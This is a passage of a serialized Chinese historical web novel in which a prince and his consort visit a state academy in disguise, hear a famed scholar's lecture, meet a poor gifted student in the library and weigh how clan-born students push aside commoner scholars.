他目光在周围扫视想要寻求支持,却发现之前那些声援他的人全都如同鹌鹑一般缩着再不冒头,就连往日聚集在他身边、唯他马首是瞻的那几个在看到他的目光之后也躲开了,不敢与他对视。 此刻竟是没有一个人与他站在一起。 “不,你有错。”祭酒看着卢绽的目光有些深,“你从一开始就错了。‘有心向学者,无人不可学’,此高皇帝之语也。学无贵贱,有教无类,此亦为至圣先贤之语。如此古来之理,却不见你奉为圭臬,这又是何道理?” 说罢,祭酒已经不再去看卢绽青青白白的灰败神色,挥袖道:“罚你抄书自省五日,自行去罢。” 当即就有人入内带卢绽离开学堂,那些之前曾经声援卢绽之人无一敢作声,怕自己也成为下一个卢绽。 如此,这场闹剧到这里便是结束了。 祭酒偷偷去看百里漾的神色,没看出什么,对他的处置应当是没有什么不满,但心里依旧是免不了忐忑。闹出了今日之事,也不知道会不会影响大王对江都国学的看法。偏偏这卢绽又是什长之人。他可没有忘记前段时间闹得血雨腥风的查抄贪污之事中牵扯进去的可大多数是世家大族之人。 不管祭酒心里如何惴惴不安,卢绽的事情处理完他和学监等人就该退场了。按照国学原本的安排,接下来要进行的是郑经师的讲学,所以要切换成郑经师的主场。而大王与王妃今日显然是很有兴致要听讲学的,他们不便打扰,有事也得留到后面说了- 作者有话说:更新了,求评论[可怜] 第132章 国学之行 讲学始, 郑经师与诸学子皆就席而坐。 学堂四周置有香炉,内置有清新怡神之效的燃香丸。袅袅轻烟缓慢而从容地向上攀升,书声琅琅, 学堂之中的所有人都沉浸在他略带幽默而不失深度的讲学之中。这次也是机会难得,便是四处游学的学子也是提前听闻消息特意赶过来的。 之所以说机会难得,确实是很有那么一番缘由的。 向来能力出众且高绝者,脾气都很不一般,郑经师也是如此。他是鸿儒名士, 天下慕名之人如过江之鲫, 他的讲学自然是天下学子万分向往的。原先他隐居山林不愿入仕, 求上门去拜师的人很多,但无一都被拒了。正当人人皆为此扼腕叹息时, 突然传出来他跑到江都国学任教讲学的消息,可以说, 那一时间仰慕他的人都激动疯了。可以说,每年入学江都国学的学生之中都有冲着他的名望学识而来的。 毫不夸张地说, 每一个进入江都国学的学子都曾经梦想过有朝一日能够被郑经师看中, 收入门下成为关门弟子。但他们无疑都失望了, 别说收为关门弟子了,就是平日里在江都国学里想见到他一面都难,讲学更是少得可怜。 概因郑经师本人性子过于随性潇洒了,他这些年喜欢上了游山玩水,说是采风散心却经常走到荒郊野外,通常是走着走着看到哪处风景甚好,兴致一来直接就宣布要就地讲学。可这往往很尴尬,他若是走到某处不算荒僻之地,好歹还能有些学生闻讯能赶来聆听教导;可若是走到哪处深山老林人迹罕至的地方, 去哪里找学生,只有花草虫鱼鸟兽能做听众了。以这种情况,听到他的讲学只能是随缘。但对于绝大部分人来说,随缘就等于没有。 好在学生们也并非完全没有机会,每年之中的一些固定的日子,江都国学这边都会请他在国学之中讲学,这也是学生一年之中能够听到他讲学的为数不多的机会。 机会难得,自是要珍惜。 即便一开始因为之前的学堂冲突而对百里漾与颜漪夫妻俩无比好奇总忍不住将目光投注过去的人也都在讲学的逐渐深入而沉浸其中,全然忘我了。 愉悦的时光总是易逝,诸学子沉浸在郑经师的讲学之中,不知不觉间两个时辰过去了。结束之时,学子们还觉得意犹未尽,觉得时光匆匆,盼着郑经师能够再多讲几句。一些学子有些惑而不解之处想要上前请教郑经师。 “郑经师不愧为鸿儒名士,今日讲学,有许多往日的疑惑之处解开了。”讲学结束,颜漪依旧坐于席上,神色之间仿若在细细回味郑经师讲学之中说过的一些话,有种吃饱了精神食粮后的餍足感。 百里漾点头赞同她的话,“日后若再有这样的机会,我们可再来。” “可若是有时候五郎无闲我得闲,那该如何?”颜漪问道。 “那就只能请七娘自行前来,再劳烦七娘回家之后为我授课了。”百里漾耸肩做无奈状,逗笑了颜漪。 趁着郑经师被学子缠着解惑之时,百里漾与颜漪离开了学堂,只是方出学堂便遇上了不远处等候的学监。学监显然是久候多时了,见人出来刚要抬步迎上前却看到江都王的目光,有硬生生止住了,但此时调转方向过于突兀刻意,他只好继续向前错过两人走进了学堂之中。 江都王带着王妃微服前来江都国学,想想都令人不安心。祭酒等人不敢怠慢,可有不敢打扰二人的兴致。可什么都不做装作无事发生又实在是令人心中惴惴。思来想去,有学监出面最为合宜。学监今日是领二人进来的人,出现在二人身边也不算得突兀因人多想。如此以来,若是大王与王妃有什么吩咐他们知道了也好去办。 可看样子,大王显然是不想让人打扰他与王妃的。 学监犯了难,却又不敢真的违逆江都王的心意跟上去。学监一时之间因为思虑过重而眉头紧锁,且他本人面相本来就是严肃那一挂的,愁眉紧锁使得他的上半张脸感觉都皱到了一起,看着分外吓人。加上他又是国学之中掌管纪律惩戒的,所到之处学生是能避就避,使得他一路走来竟然畅通无阻。 学监心里揣着事没有注意到这一点,他这会儿眼里也看不到任何人。思来想去,他觉得不妥,此事还是要尽快与祭酒他们商议对策才是。 百里漾才不去管学监祭酒他们心中的纠结,他今日与王妃出来是散心随处逛逛,也当是过二人世界的,甚至这次连初禾她们都没有带出来,还能让学监他们跟着当电灯泡么?且真要是让他们跟过来了,今日的江都国学之行还能自在么,岂不是走哪就引起关注。 今日是春假结束后江都国学开课第一日,基本上所有的学生和讲课师傅、任职官员都回来了,因此国学之中几乎随处都可以见到人。当然,这其中也有一些从外地过来游学的人,这些人也很好辨认,年轻面孔,身上有一股蓬勃朝气,穿梭在国学的各处建筑之中。也是因为这些外来游学生的存在,百里漾与颜漪在其中不显得突兀。 不,还是很突兀。 明眼人一看就知道他们俩是夫妻,夫妻结伴来国学的,估计今日里就他们一对,他们几乎是走到哪都要引得过路之人多看一眼。但如果仅仅是这样还不算什么,主要还是因为学堂争辩之事的影响。 “所以,我们这是一战成名了么?”在路过了十数名有意假装无意偷看他们的人之后,百里漾不禁问道。 “我想恐怕是的。”颜漪忍笑,目光往四周转了一圈,不出意料看到了不少对他们充满了好奇却踌躇不敢上前的学生。 百里漾转眼也看了一圈,那些学生触及到他的目光纷纷缩了回去,少有几个人被抓包了还能迅速镇定下来向他们颔首示意以示友好。 “不管他们,他们不会来打扰我们的。” 出了学堂争辩之事,他们很难不在江都国学之中出名,听说过他们的都会有好奇心。但他们都很好地克制住了这份好奇,关注但不过分,并没有到令人烦扰的地步,都很理性。当然,更有可能的是心有顾忌以至没有贸然迈出这一步,更多的是观望。 “接下来有什么想去的地方?”走了一段路,国学各处也都逛的差不多了,行经一处走廊时,两人停下来歇脚,百里漾问道- 作者有话说:今天写不完了[可怜] 第133章 典籍室 从他们来到江都国学到现在已经过去三个时辰了, 两人跟参观景点似的一处处都几乎走过一遍了。百里漾一直都有注意颜漪的状态,担心她疲累或是饥渴,只是每次询问时颜漪都摇摇头表示自己状态还好。离得近了, 他能够感受到她今日的精神很愉悦,她在享受今日的这场国学之行。 意识到这点,百里漾的心情也不由一起变得愉悦,唇角一直都是微微上扬的状态,眉眼也舒展, 任是谁都能够看得出他心情很好。 那些一直在明里暗里观察者他们的江都国学之中的人见到这一幕不由松了一口气。至少, 从这样看的话, 大王与王妃对他们国学应该是没有什么特别不满意的。兴许今日过后,他们不会受到过多的责罚。 说是微服来游玩听讲学的, 让他们平日里该如何就如何,只当两人是寻常来游学的学子, 可江都国学这边真的就能等闲视之?那是肯定不能的,别的不说, 若是因为他们的疏忽致使大王与王妃在国学之中有个一星半点的差错和损伤, 这一群人的脑袋都不够砍的。 学监回去与祭酒等人商议了下, 真当做大王与王妃没来过是不可能的,但他们也不能出现打扰了二人的雅兴,只能安排人不远不近的缀着,若是真出了什么意料之外的事情,他们也能及时出现处理。 不过,除此之外,大家都在默默祈祷,类似学堂卢绽之类的事情可千万不要再出现了。 “典籍室如何?据说江都国学的典籍室之中收录了不少前人先贤遗留下来的孤本以及一些从太学抄录而来的抄本,我想去看看。”颜漪稍稍思索之后便回答道。 “典籍室啊。”百里漾想了一下, 他想到颜漪的嫁妆之中就有不少简牍帛书,平日里得闲时她的爱好之一便是读书,于是点点头,说道,“当初典籍室新建之时我曾经关注了一阵,褚氏等世族也带头捐赠了不少书籍,其中还有些他们珍藏的孤本,也值得一观。” 这算是高皇帝建太学留下来的惯例了。当年建太学时,所有的世家大族都争先恐后地表示自己要为大衍的人才教育与培养贡献一份绵薄之力,不止捐钱还捐物,其中不少家都将自家祖上珍藏的书籍捐献了出来。高皇帝感念他们的心意,对捐献最多的几家专门令人拟旨进行表彰。后来等到皇帝赐封百里漾等皇子之藩就国时,江都国等国要建国学,当地的世家大族也都纷纷捐钱捐物以表心意。 百里漾尤其记得当初定安王那边要建定安国学时,褚之彦作为定安王的岳丈可是捐献了不少好东西过去。等到江都国学要建时,他啥也没说,也没有主动要求褚氏等家捐赠。等到要建典籍室时,褚之彦站出来表示愿尽绵薄之力,捐献了不少典籍进去。褚氏都表态了其他家也不能落后,也紧跟着捐了不少进去。 后来百里漾对过之前褚氏给定安王捐赠的那些,不能说一模一样,但也有原来的八成。也勉强算是可以了,毕竟谁让褚之彦是定安王的老丈人呢,老丈人帮女婿,多天经地义的事。他到底是一个“外人”,怎么能比。 “世族的孤本么。”闻言,颜漪的眼眸微微发亮,有些迫不及待,“那我们快过去吧。” 典籍室建在江都国学的东南角,那处以人工挖出一片湖,引外面的活水注入,湖边有一片沿着蜿蜒小径铺开的湘妃竹林,林下置了几处凉亭,供学子休憩或读书习字。典籍室建在湖心位置,呈三层阁楼状,从岸边接以两座木桥连通。国学是读书育人之地,它的选址是闹中取静;典籍室为观书之所,位置更是静中之静。 百里漾与颜漪过来时一路都没有遇上什么人,想来是新年国学开课第一日,休了春假回来的国学生们忙着处理学业、生活上的一些问题或是上一年留下来的未竟之事,无暇过来观书。其实不只是学生,国学中的诸人今日都很忙,所谓一年之计在于春,许多事情虽是早就计划安排好的,但也要逐一安排人落实下去。 由此,他们一路上见的人越来越少,让此处显得清静又清闲。清静是对于如百里漾与颜漪这样来观书的人而言的,清闲则是于典籍室的管理维护人员而言的。 走过木桥,来到典籍室面前,颜漪驻足看了一眼匾额上“典籍室”三个大字以及两侧的楹联,没有说话,只是转过头来看着百里漾。 接收到王妃的目光,猜到王妃是认出来上面的字是他所书,百里漾有些不好意思,“当初落成之时,祭酒他们过来找我题字。” 其实他当初一开始是拒绝的,毕竟他对自己的书法有自知之明,他那一手字勉强够得上优秀,但要说写得有多好、堪比大家那多半是底下人的吹捧。他是不肯松口答应,但后来范国相也来劝他,说总要让前来典籍室的每一个人知道大王为典籍室的建造做了什么,否则这份功劳怕就是要被世族他们抢去了。他觉得范国相所言有理,便应下了题字的事。 “国相看得分明,若无大王,何来的这处典籍室。”颜漪亦赞同道。 典籍室要建成,没有足量的典籍是成不了的。若非碍于百里漾的存在,褚氏等家会愿意捐出家族中珍藏的简牍帛书乃至孤本么?必定是不会的。当今之世,书籍是何等宝贵的存在,可每一个能够进到这典籍室里的人却都能够阅览到难以想象的海量的典籍,这放在几十年前是根本想象不到的事情。 每一个走进典籍室的学子都应当感念百里漾。可世人多是健忘的,也是很容易被误导的。真正为成就某件事做出努力贡献的人若是不想些办法时不时提醒一下受到惠泽的人,久而久之人们就会忘记真正使他们获得恩惠的人是谁。 建造典籍室是大善之举,此事无疑可以拉拢天下之读书人,营造名声。这事如果百里漾不去做,那么褚氏等世族就会趁机而入,将功劳揽在自己身上。毕竟对于他们来说,典籍已经“被迫”捐出去了,木已成舟,可若是能够借此为家族笼络人心也不失为一种补救方式。 范国相当时正是想到了这一点才会劝说百里漾同意题字的事情。学子们出入典籍室都必须要经过大门,见字学子们便会想到典籍室因何而建,也就不会忘记江都王的仁义恩德。 “那时也是不凑巧。”百里漾摇头颇为遗憾,看向颜漪,笑道,“王妃的字比我的好看多了,换成王妃的字挂在上面会更好看些。” 颜漪:“大王不要说笑,我的字如何能挂在上面。” “怎么不能。”百里漾很认真,他抬头看了看上面匾额与楹联的字,想象了一下换成王妃的字,那感觉确实会很漂亮,“就看王妃愿不愿意给出一点墨宝了。” “典籍室是大王大力促成的,上面挂大王的墨宝是理所应当的,若是挂上我的,我岂不是无功不受禄么。”颜漪依旧拒绝了百里漾的想法,“好了,我们进去吧。” 百里漾见颜漪没有同意也就没有在这个问题上过多纠结,两人迈步朝着典籍室内里进去。 典籍室分为三层,一楼主要是提供给借阅书籍的学子观书场地的阅览室以及借阅书籍登记的柜台。进门之后就是柜台,但百里漾没看到人,于是屈指轻轻敲了一下桌面。 “来了来了,入典籍室先登记名姓。”一个声音从里面传来,很快架子后面就转出来一个穿着江都国学学子袍的年轻学子,他抱着一摞竹简先把它们一一放在架子上,回头匆匆看了百里漾与颜漪一眼说道,“登记簿子在柜台面上,如实登记,不得有假伪。” 百里漾与颜漪见他暂时忙得没有空招呼他们,于是就“自力更生”在柜台上找到了登记簿子——一册竹简,打开一看,大概有一半的区域已经记载了人名、书名等信息,每一条的内容都很简洁,但该有的信息都不缺。 从字迹可以看得出来,绝大部分的登记信息都是出自同一个人之手,这个人应该是典籍室内负责登记的人员,估计就是那个年轻学子。少部分登记信息字迹不一,应该就是如百里漾与颜漪一般正巧遇上登记人员忙碌,只好自己动手登记了。 百里漾取了笔递给颜漪,看着她写下自己的名字然后将笔递回来给自己。他接过笔,目光落在上面的“颜漪”二字,不由道:“七娘写下了自己的名字。” 颜漪道:“我可以写下自己的名姓,五郎若是写了自己的恐怕会吓到他们。” 一般人看到“颜漪”两个字估计不会联想到江都王妃,但若是江都国学内的国学生看到“百里漾”三个字,恐怕立时就会想到江都王。“百里”可是国姓,在江都的地界怎么会没有人不知道他们的大王叫什么名字。 为了不吓到人,百里漾只好提笔在登记簿子上写下了“崔五”二字。 巧的是他刚搁笔,那名国学生正好忙活完了过来,看到上面未干的墨迹,两条浓密的眉毛皱起来,“崔五?这名字怎么看怎么像是假的,进入典籍室必须要登记真实名姓。” 他一抬头看到百里漾与颜漪两人直接就吓到了,“是你们!”- 作者有话说:更新了,求评论[可怜] 第134章 有缘 好一个浓眉大眼的标志小伙, 一双眼睛瞪圆看着有几分滑稽,意识到自己反应有点大了,不好意思地摸摸自己的后颈, 笑得有些憨厚,“兄台在学堂的辩论实是令人敬佩,我平生从未见过如兄台这般具有胆气、愿为妻子据理力争的英勇之士。” 他的语气里充满了对百里漾在学堂以一敌众、大发神威最后大获全胜的敬佩与一点向往,同时内心也遗憾自己成为不了这样的人,他连在人前坚持心中所想都难以做到。 “你我真是有缘, 竟在此处又遇见了兄台。”百里漾拱手笑道, “方才在学堂多谢兄台出言相助。”颜漪也浅浅行礼表示道谢。 这位浓眉大眼的国学生赶紧回礼, 可不敢承百里漾与颜漪的道谢,连连摆手道:“我并未帮到二位什么, 二位不必言谢。” “在学堂时兄台是真心为我夫妻二人担忧着想,我二人自当言谢。”百里漾将国学生的慌乱看在眼里, 觉得这人真是一个实诚人,坚持道了谢。 不管怎么说, 在当时学堂的那般情境之下, 这个国学生出来劝他退让的确是对他心存担忧, 以他的身份,卢绽那边若是小心眼的话,事后很难说会不会遭到卢绽等人的排挤和报复。虽然他站出来提醒的初衷是让百里漾忍让,但彼此素未相识的情况下,真正出于对百里漾与颜漪两人的担忧而出言提醒的,在当时只有他一个。其余人却更多是劝阻,因为害怕自己受到牵连或是站在反对百里漾的立场上进行的阻止。 这位国学生自是当得百里漾与颜漪一声“谢”的。 两边聊了几句,互通了姓名。 百里漾还是说他叫“崔五”,颜漪是他新婚不足一年的妻子, 两人因仰慕江都国学以及郑经师的名望故而特意选在今日入国学旁听讲学以及参观游览。 这次国学生并没有对百里漾的名字“崔五”表达看法,向二人拱手行礼后也说了自己的名姓。他自报家门说自己姓秦名致方,年方十九,祖籍怀郡,幼时随父母来到江都郡城讨生活,两年前考入江都国学,如今是国学乙班中的一名学生。在百里漾问到他缘何此时在典籍室时,他也很坦然地说自己是在完成学业功课之余在国学里给自己找了一份事情做,也就是在典籍室帮忙打下手,整理书简,登记一下人员借还书籍信息之类的。 百里漾内心粗略算了算,按照秦致方的说法,也就是说他是十七岁就考入了江都国学,入学两年升至乙班。乍听之下好像并没有什么,可实际上按照江都国学的考入标准来说,十七年能考入已然很是了不得了,更别说两年就升到了乙班。 有乙班自然就会有甲班、丙班之类的存在,但这里说的“甲、乙、丙”并不是用以区分优劣的,更多是代表国学生学业的进度。江都国学对于学生结业是有条件和标准了,要通几经以及每年每季的考课要取得什么等级的成绩才能算是完成学业从国学毕业出去入仕做官。 也因此,甲、乙、丙班的存在是为了划分不同学业进度的国学生。一般来说,初入国学的学生都入丙班,通识一经并考课取得乙上及以上成绩的即可升入乙班,完成乙班的学业要求后便可升入甲班。其实这有点像是百里漾前世的年纪制,但是国学之中的甲乙丙班制一切以学生对经书典籍的研习程度为准,并非所有学生入学后都必须在丙班,也并非班里的学生都是年纪相仿的,如秦致方这样年纪轻的在乙班中也是少数,但三十岁的也有,大部分都是二十来岁。 在这种制度之下,年龄不是划分甲乙丙班的依据,更不是结业的条件。只要学生能够完成相应的考核,哪怕十六岁乃至十四岁结业都可以。但这种天才神童翻遍上下几百年都难以寻到一个,大部分能在二十五岁之前结业出国学入仕已经算是年少有为了,还有些则是三十岁了还在国学之中进修,成为“留级生”。 为了避免过多的占用资源,“留级生”是不能一直“留级”下去的。江都国学的学制是五年,但总有人因为各种原因不能顺利在五年内结业。为了照顾到这些学生,国学多预留了两年给他们,但是若在七年内学生还不能完成学业,国学只能对该生做清退处理了。 依照这种制度,秦致方在国学生之中都算得上是极为优秀的了。优秀是个形容词,而很多形容词是对比出来的。 秦致方的衣服是江都国学生的统一袍服,但是颜色已经褪了一些,边角位置更是呈现出一股发白起毛的迹象,这说明他的袍服是经常换洗、洗的次数过多导致的。他身上半点配饰都没有,露出来的手掌在关节、虎口处可以看到一些厚茧,说明他经常干活。再加上他的言行举止,以及他自己的说法——父母都是普通百姓,在郡城里做着小生意,足以推测出他的家境确实不怎么富裕,衣食温饱是达到的,但是家中恐怕并没有太多的余钱供他读书。 又是一个与傅殷一样,以平民之身考上江都国学的学子。 “秦兄大才,怕是用不了多久就能够从国学结业入仕了。”百里漾看秦致方的眼神瞬间就不一样了,多了欣赏与敬佩。 毕竟以当下的情况来看,即便是以同样的年龄考入江都国学,平民出身的学子无疑是比世族大家出身的学子要更优秀的。因为平民学子与世族大家子弟相比存在“先天不足”的短缺,可最终能够克服这个短缺考入国学,已经不单单是天资过人的问题了,还有比常人百倍的勤奋。 但这样的人终究只是少数,对于这些少数,百里漾还是很愿意高看一眼的。若是有机会,他更愿意给予这样的学子机会,可惜人还是太少了。 没办法,时代条件所限,口子是要一点一点慢慢打开的。 百里漾只能在心里感慨。 此时距离高皇帝下令开设官学不过二十余年,在此之前是世族大家长期把持官位以及典籍,阻断知识向下流通的渠道。设立官学的目的之一便是打破这种垄断,但短期内成效并不是很明显,不管是太学还是底下的郡国学、县学,出身大族、权贵之家的学生依旧是占到了大多数,平民学子少得可怜。 如今即便是出身平平的人也有更多的机会接触到书籍知识了,但真要走上这条路对于这些人以及背后的家庭来说依旧是很艰难的。 首先面临的酒是经济问题。人都说“穷文富武”,但这里的文仅是相对于武来说的。对于一般的平民百姓来说,读书是一个需要不间断投入且耗费巨大的投资,既然是投资,那就必然会有风险。成了自然是跻身士人之阶、光宗耀祖,败了可就是彻底败了,家底都要搭进去。 虽然官学设立之初也考虑到这一点,凡考入官学的学子都能够免学费乃至学杂费,也就是笔墨纸砚这些东西都会定时提供一定的量,甚至考入郡国学乃至太学,还会每个季度给学子发放一定的银钱衣食,让他们可以“带薪上学”。 可仅有这点钱是不足够的,或者说这些钱仅仅是理想状态下可以供一个学生完成学业的花费。但现实往往不是理想,学生除了学业还有生活,还需要与同窗、师长进行社交。社交是需要花钱的,有一群出身世家大族、身居高位尊位的师长在,一次出游、聚会的花费甚至比学子一整个季度的生活花费还要多。 因此很多出身一般的学子会在学业之余去做一些营生赚钱补贴家用或是自己的生活费。秦致方现在做的就是类似“勤工俭学”的活计,典籍室的活计相对比较轻松,以他的能力也能够轻松胜任。 对于百里漾的夸赞,秦致方嘿嘿笑了笑谦虚表示自己不是什么大才,也就是记性好点,看东西看一两遍就能够记住,别的也没有什么。 百里漾惊,与颜漪对视一眼,在她眼眸中也看到了些许惊异,没想到秦致方还是一个过目不忘的天才。 他们聊了几句,百里漾还没有忘记这趟过来典籍室是颜漪想要看看这里收藏的孤本,于是便问秦致方借阅书籍是个怎么样的流程手续。 秦致方:“一楼的简牍帛书都可以借阅,二楼的只能在典籍室里看或者抄录,三楼则是一些比较贵重的书籍以及孤本,没有祭酒的准许是不允许借阅的。” 如此规定,百里漾与颜漪也能够理解,只问了秦致方要一二楼的书目来看。 占地如此宽阔的典籍室藏书在万册之上,为了方便管理保管是需要将所有的典籍整理成册的,因此就会有书目名册。这些也都是可以给人看的,所以秦致方转身从里面的一间内室里拿出了两捆卷起的帛书给他们翻看。 太多了,一时也翻不完,而且更吸引人的无疑是三楼收藏的孤本。可惜秦致方做不了主,也不敢做主。不过,他看着百里漾与颜漪想了想,最后摸出一本小册子来颇为小心地递给他们,“孤本我现在是不能给你们看的,名册却是有,若是有感兴趣的,得到祭酒的准许就可以来借阅了。” 他猜想这对夫妻恐怕大有来头,没看到卢绽都吃瘪了么。没准真的可以让祭酒批准借阅- 作者有话说:更新了,求评论[可怜] 第135章 请罪 孤本名册是一本约莫成年男子巴掌大以纸制成的小册子。 这时候虽然造出了纸张这类轻便的书写载体, 但是造价昂贵,只有世族权贵用得起。以纸所制的名录册子也突显了孤本的珍贵。 百里漾看着那本名录册子,再看向秦致方。对方睁着眼睛也回看着他, 两边嘴角向上扬起露出了一个很标准的笑容,八颗大白牙都露出来了。 “如此,便多谢秦兄了。”最后百里漾深深地看了秦致方一眼,道了谢,与颜漪走到那边的桌椅旁看名录册子去了。 “难不成他是认出五郎的身份了?”颜漪一边翻着册子, 一边问道。 百里漾站在颜漪的身侧, 微微侧脸就能够看到她精致好看的侧颜, 凑的近些还能看到白皙的肌肤上一点细细的小绒毛,她神情专注地在看手上的册子, 一边在问他话,不经意间透着一股漫不经心, 让人觉得她格外迷人,百里漾觉得自己的心在砰砰砰跳得有点快了。 颜漪见他一直没有回应, 抬眸朝他疑惑看来。百里漾回神, 这才回道:“看他的样子应该是不知道的, 大概是学堂的事情让他猜测了些什么。” 如果单单只是学堂与那些国学生起冲突的事情还可以说是他本人犟种、即便面对对方的强权也不肯屈服,是有胆气有坚持的体现,可本身他能携妻子同来江都国学就是一件很反常的事情,至少在此之前是没有过的,再加上他们又是学监亲自领进来的……种种加起来,不怀疑他们的身份来历才是不正常。 秦致方若是真的猜出了他是江都王,那么绝对不会是这样的表现。 “现在不知道,将来也会知道的。”颜漪忽然笑道。 秦致方如今是江都国学乙班的学生,若无意外, 至多再过两年他就会从江都国学结业入仕。只要入仕,那么见得江都王的真容就是早晚的事情。若这秦致方真是一个能干的,且百里漾向来欣赏也更愿意给予机会给这类人,那么这时间还有可能会更提前。 “未来的事情谁又能说得准呢。”百里漾耸耸肩,不再讨论这个话题,而是问道,“看得如何了,可有想要观阅的典籍?” “是有一些。” “先记下来,等后面我们再去找祭酒借阅出来。” …… “臣管教失力,请大王、王妃降罪。”静室内,祭酒等人跪伏在地,为学堂之事向百里漾与颜漪请罪。 到底是已经让祭酒这些人知道他们来了江都国学,百里漾与颜漪不好不说一声就离开,否则祭酒等人很长一段时间都要惴惴不安了,况且还要借孤本,于是就来见见祭酒等人。 “今日我二人是以游学学子的身份前来,如何谈得上‘冲撞’二字。”百里漾淡淡道。 只是一场学堂争辩而已,固然卢绽那些人的言论令人生恶,但却不能因此降罪惩处于他。因为除了意见不合,卢绽等人并没有在学堂里做出什么错事,倘若真的处罚他,到时候上奏的奏疏恐怕就要满天飞了。 别看在学堂时百里漾已经辩赢了卢绽那些人,实际上更多只是因为郑经师以及祭酒等人公然表态站在了百里漾这边,卢绽那些人是因为没有足够强力的后援所以才退缩的。卢绽又是世族的人,他能有那种想法便是说明世族之中与他同样想法的人很多,这些人在朝在野都会有很大的声音。 百里漾特意搬出高皇帝也是为了堵住那些人的嘴,让他们没有明面上再进行争辩的机会。可那些人面上不说,心里却未必不会继续此前所想的、私底下又依旧坚持此前所做。对于那些世族来说,在他们心里何止是女人不能进学堂,就是那些出身卑贱的平民学子也不配进入学堂。 在前朝之前他们一直是这么做的,在本朝他们依旧想这么做。不过属于他们的时代显然已经过去了,也该让他们知道现在到底谁说了算。 祭酒等人闻言当即松了一口气,但这口气还不能松得太早,学堂的事情是揭过去了,可大王与王妃今日可是在国学里差不多转了一日的,他们的人还不敢跟着,也不知道大王与王妃看了一圈下来,是否有什么不满意的地方。 接下来祭酒等人也表达了这个意思,询问百里漾二人经过了一日的视察下来,对国学有什么改进意见,他们一定认真听取,改到让大王与王妃满意为止。 等他们颇有些忐忑地说完这话时,百里漾却不说话了,静室里一下子变得针落可闻。祭酒等人感知最深的是自己逐渐沉重迟缓的呼吸声以及骤然加快的心跳,还有那几乎与心跳频次同步的百里漾屈指敲击桌面的声音。 “卢绽是怎么回事?”百里漾敲了两下桌面,问道。 祭酒等人心中一紧,果然还是来了,就知道这事没有这么容易能过去。 在场的江都国学之人以祭酒的官职最高,自然也是他出来回话,他斟酌道:“卢绽是卢氏主支子弟,年少有才名,素来颇为骄矜狂妄。今日之事,他实是狂悖,臣等有失教之过,请大王治罪。” “国学乃育人之所,每一位进入国学的学子将来都有可能会成为江都乃至朝廷的中坚肱骨,尔等当用心培养、一视同仁才是。”百里漾说完这话,随后就将借阅孤本的名单给祭酒,“这是王妃要借阅的典籍。” “是,臣等谨遵大王之命。典籍稍后就令人送来,请大王与王妃稍待。”祭酒等人心里反复琢磨过百里漾的话,心中又是一颤,偷偷抹了把汗,赶紧回道。 等百里漾与颜漪回王宫时,日头正好偏西,暖融的阳光驱散了冬日里的一点寒意。行人、马车穿行在路上,喧闹的声音不断从耳边过去。马车内,百里漾翻开着从江都国学典籍室借来的孤本,因为动作有些被颜漪说了一声,“你小心些。” “好好好,我小心些。”百里漾好脾气地应着,翻了两页就放回去了- 作者有话说:这期的榜单更完了,下周继续。 第136章 忧虑 这些都是孤本, 因为自带“世上唯一仅存”的稀缺性,故而也极为珍贵,比同等重量的黄金都值钱。他们一共从江都国学借了六本, 有些是帛书,有些则是竹简,因为过于宝贵,每一件都用了特质的锦盒装着,六本一共是六个盒子, 垒起来也好高一摞。 “今日可累着了?”百里漾看向颜漪, 观察她的状态。算起来他们今日走了不少路, 也不知道王妃是否累着了。他这会儿有点懊恼,事后才想起来这茬, 怎么都不能说是体贴。 “我还能撑得住。”颜漪观他神色有些懊悔烦恼,结合他问的话, 大致能够猜出他在想什么了,她与百里漾的目光对视, 眼眸中充满了认真与真诚, 荡漾了浅浅的笑意, “何况,今日是真的很开心,有劳大王策划的国学一日游了。” 百里漾更仔细地观她神色,确认她不是不想自己难过而安慰自己,笑得眼睛都有些眯起来,让颜漪看了有种看到了大猫的感觉,就突然的很想薅一把他的脑袋,但想想还是算了。 “你若喜欢,我们来日有机会还出来。”百里漾欢喜不已, 眼睛亮亮的,“这只是在江都郡城内,江都郡城之外还有不少有趣的地方,以后我都带你去。” 虽然这不是百里漾第一次说要带她往江都各处去看看了,但每一次他的承诺都令人欢喜。颜漪亦如之前的每一日温柔笑道:“好,我等着大王带我去。” 回了王宫,长乐殿那边有点事情需要百里漾去处理,他只好与颜漪暂时分别去了长乐殿。等处理到尾声时,永延殿派了人过来请他过去用晚膳。百里漾看了一眼天色,发现夜幕已经在不知道什么时候撒下了,搁下笔,往永延殿过去。 用完了晚膳,坐了一段时间后,百里漾与颜漪各自去沐浴。颜漪沐浴要久一些,等由初禾擦干头发出来就看到百里漾盘腿坐在床榻上,手里歪斜散落着一册书简,人却是没有在看书简的,眼睛无神地盯着虚空中的某一处,眉头轻轻蹙起,显然是在沉思。 “大王在想些什么,书简都要掉了还不知。”颜漪走过去将仅有一小部分搭在百里漾手里的书简拾起,轻声问道。 百里漾的思绪从沉思之中抽离回神,看是王妃沐浴回来了,下意识地想为她擦拭湿发然后就发现那一头青丝已经是擦拭过的模样,只好收回了手,回答道:“想今日学堂的事,也想国学的事。” 颜漪面色微顿,自己也略有思索,“大王是在想卢绽与秦致方?” “是。”百里漾点头又摇头,“我是在想他们,但又不只是他们。” 听着像是在打哑迷似的,颜漪却瞬间明白百里漾所要表达的意思。卢绽与秦致方只是个体的人,单单是他们个人还不足以让百里漾惦记到现在,但他们两个分别代表的是两个不同的群体——世族出身的国学生以及普通百姓出身的国学生。他们都是考入江都国学的学子,可出身的不同让他们因此分成了两个几乎截然不同的群体。 尽管今日去江都国学时,他们并没有直接看到世族出身的学子与平民出身的学子产生的冲突,但学堂争辩时站出来卢绽的绝大部分是衣着华贵者,更多的是不敢正面与卢绽对上的学子,即便是秦致方也只是低声劝百里漾忍让。 这其实已经能够说明一些问题了。 “寻常百姓家出来的学子在国学之中终究是少数,人众我寡,况且本就势不如人。”颜漪轻叹道。 世族子弟的想法其实从学堂争辩的“女子不得入学堂”便可窥见许多了,他们不许女子进入学堂,又何尝愿意让视为卑贱的平民学子与他们同在一堂下进学。但设立官学招收天下学子、向学子开放典籍是高皇帝定下来的,世族没有说不的权力。可这天底下从来都不缺阳奉阴违之事,当面一套背后一套的故事从来都不会少。 平民出身的学子在官学之中很难不受到排挤和打压,即便抱团以御外,又因为数量过于少而难有大作用,况且,人心未必会齐。 “大王是担心世族子弟排挤打压平民子弟,国学会坐视不管或者睁一只眼闭一只眼?”颜漪一语道出百里漾的忧虑,“今日看卢绽等人的声势,怕是已有一些端倪了。” 